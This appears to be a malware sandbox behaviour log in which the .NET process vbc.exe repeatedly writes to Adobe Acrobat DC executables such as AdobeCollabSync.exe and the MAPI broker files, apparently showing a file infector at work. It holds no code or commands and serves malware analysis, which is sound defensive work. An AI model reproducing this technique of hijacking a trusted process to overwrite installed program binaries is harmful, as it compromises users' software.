Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
